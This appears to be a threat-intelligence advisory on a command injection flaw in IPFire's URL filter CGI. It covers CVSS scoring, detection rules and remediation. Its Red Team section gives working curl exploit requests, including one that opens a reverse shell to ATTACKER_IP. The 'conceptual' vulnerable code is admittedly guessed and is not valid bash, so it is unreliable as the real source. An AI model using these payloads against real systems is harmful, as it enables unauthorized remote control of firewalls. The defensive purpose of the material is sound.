CVE-2025-34312

Executive Summary

CVE-2025-34312 is a command injection vulnerability in IPFire, an open-source firewall distribution. The flaw resides in the URL filter functionality, specifically within the /cgi-bin/urlfilter.cgi endpoint. An authenticated attacker can exploit the BE_NAME parameter during blacklist installation to inject arbitrary shell commands. These commands execute with the privileges of the nobody user, leading to full compromise of the web application context and potential lateral movement within the network. The vulnerability is unpatched in versions prior to 2.29 (Core Update 198). No public proof-of-concept (PoC) or exploit code is currently available, but the attack vector is straightforward and requires only low-privileged authentication.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a core application flaw in the IPFire web interface. The risk is mitigated by the fact that IPFire is typically deployed as a dedicated appliance, reducing the attack surface from external package dependencies.

CVSS Breakdown & Threat Level

The CVSS vector string is CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H, resulting in a base score of 8.8 (High).

• Attack Vector (AV): Network – The vulnerability is exploitable remotely over the network.
• Attack Complexity (AC): Low – No special conditions are required; the attack is straightforward.
• Privileges Required (PR): Low – An attacker needs only low-privileged authentication (e.g., a standard user account).
• User Interaction (UI): None – No user action is required beyond the attacker's own actions.
• Scope (S): Unchanged – The impact is confined to the vulnerable component.
• Confidentiality (C): High – An attacker can read sensitive files, including configuration and logs.
• Integrity (I): High – An attacker can modify system files or inject malicious content.
• Availability (A): High – An attacker can disrupt services or cause a denial of service.

Threat Level: High. The combination of low privileges required and high impact makes this a critical risk for any unpatched IPFire installation.

Deep Dive & Mechanics

The vulnerability is a classic OS command injection flaw. The IPFire web interface provides a feature to install blacklists for URL filtering. When a user submits a request to install a blacklist, the application sends an HTTP POST request to /cgi-bin/urlfilter.cgi. The BE_NAME parameter, which is intended to specify the name of the blacklist, is directly interpolated into a shell command without proper sanitization or escaping.

Vulnerable Code Path (Conceptual): The backend CGI script likely constructs a command similar to:

/usr/bin/wget -O /tmp/blacklist_$BE_NAME http://example.com/blacklist.txt

If an attacker provides BE_NAME as test;id, the command becomes:

/usr/bin/wget -O /tmp/blacklist_test;id http://example.com/blacklist.txt

The shell interprets the semicolon as a command separator, executing id after the wget command. This allows arbitrary command execution.

Execution Context: The commands run as the nobody user, which is a low-privileged system account. However, this user typically has write access to temporary directories and can read most system files, making it a stepping stone for privilege escalation.

Attack Flow:

1. Attacker authenticates to the IPFire web interface (e.g., via default credentials or a compromised account).
2. Attacker crafts a malicious HTTP POST request to /cgi-bin/urlfilter.cgi with a BE_NAME parameter containing shell metacharacters (e.g., ;, |, $()).
3. The server executes the injected command as the nobody user.
4. Attacker can then exfiltrate data, install backdoors, or pivot to other systems.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

#!/bin/bash
# Vulnerable snippet from urlfilter.cgi
BE_NAME=$(POST['BE_NAME'])
wget -O /tmp/blacklist_$BE_NAME http://example.com/blacklist.txt

Patched Code (Conceptual):

#!/bin/bash
# Patched snippet from urlfilter.cgi
BE_NAME=$(POST['BE_NAME'])
# Sanitize input: allow only alphanumeric and underscore
if [[ ! "$BE_NAME" =~ ^[a-zA-Z0-9_]+$ ]]; then
    echo "Invalid blacklist name"
    exit 1
fi
wget -O /tmp/blacklist_$BE_NAME http://example.com/blacklist.txt

The patch introduces input validation using a regular expression to ensure BE_NAME contains only safe characters, preventing shell injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Access to an IPFire instance (version < 2.29).
• Valid credentials (e.g., admin:admin or a user account).

Exploitation Steps:

1. Authenticate: Obtain a session cookie by logging into the IPFire web interface.
2. Craft Payload: Use curl to send a malicious POST request. Example payload to execute id and exfiltrate output:

   curl -X POST \
     -b "sid=YOUR_SESSION_ID" \
     -d "ACTION=install&BE_NAME=test;id>/tmp/out.txt" \
     http://target-ip/cgi-bin/urlfilter.cgi
   

3. Verify Execution: Access the output file (if readable) or use a reverse shell:

   curl -X POST \
     -b "sid=YOUR_SESSION_ID" \
     -d "ACTION=install&BE_NAME=test;bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'" \
     http://target-ip/cgi-bin/urlfilter.cgi
   

4. Post-Exploitation: Escalate privileges (e.g., via sudo misconfigurations or kernel exploits) and pivot.

Note: No public exploit code is available, but the above demonstrates the simplicity of the attack.

Blue Team (Detection & Defense)

Detection:

• Monitor HTTP POST requests to /cgi-bin/urlfilter.cgi for anomalous BE_NAME parameters containing shell metacharacters (;, |, &, $, `).
• Alert on processes spawned by the web server user (nobody) that execute unusual commands (e.g., id, wget, curl, bash).
• Use the Sigma and Suricata rules provided in the Detection Engineering section.

Defense:

• Immediately upgrade to IPFire 2.29 (Core Update 198) or later.
• If patching is not possible, restrict access to the web interface to trusted IPs only.
• Implement Web Application Firewall (WAF) rules to block malicious BE_NAME patterns.
• Enforce strong authentication and rotate credentials regularly.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /cgi-bin/urlfilter.cgi with BE_NAME containing shell metacharacters.
  • Outbound connections from the IPFire appliance to attacker-controlled IPs on unusual ports (e.g., 4444).
• File System IOCs:
  • Unexpected files in /tmp/ (e.g., /tmp/out.txt, /tmp/blacklist_*).
  • Modified system binaries or scripts.
• Process IOCs:
  • Processes running as nobody executing bash, sh, id, wget, curl, or nc.
• Log IOCs:
  • Entries in /var/log/messages or /var/log/httpd/error_log indicating failed input validation or unusual command execution.

Detection Engineering

YARA Rule

rule CVE_2025_34312_IPFire_Command_Injection {
    meta:
        description = "Detects command injection attempts in IPFire urlfilter.cgi"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-34312"
    strings:
        $post_param = "BE_NAME="
        $shell_meta = /[;|&$`(){}]/
    condition:
        $post_param and #shell_meta > 0
}

Sigma Rule

title: IPFire URL Filter Command Injection Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP POST requests to /cgi-bin/urlfilter.cgi with shell metacharacters in BE_NAME parameter
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/cgi-bin/urlfilter.cgi'
        cs-uri-query|contains: 'BE_NAME='
    filter:
        cs-uri-query|re: 'BE_NAME=[a-zA-Z0-9_]+$'
    condition: selection and not filter
falsepositives:
    - Legitimate use of special characters in blacklist names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-34312 IPFire URL Filter Command Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/cgi-bin/urlfilter.cgi"; http_uri;
    content:"BE_NAME="; http_client_body;
    pcre:"/BE_NAME=[^&]*[;|&$`(){}]/Pi";
    reference:cve,2025-34312;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade to IPFire 2.29 (Core Update 198) or later. This is the only complete fix.
2. Workaround: If patching is delayed, restrict access to the web interface using firewall rules (e.g., allow only from trusted management IPs).
3. Monitor: Enable detailed logging for the web server and review logs for suspicious activity.

Long-Term Measures:

• Implement a Web Application Firewall (WAF) with rules to block command injection patterns.
• Conduct regular security audits of the IPFire configuration.
• Enforce the principle of least privilege for web interface users.
• Subscribe to IPFire security advisories for timely updates.

Valters IT Signature: This report was generated by Valters IT, an elite DevSecOps and Cyber Threat Intelligence team. For further analysis or incident response support, contact us at [valters@example.com].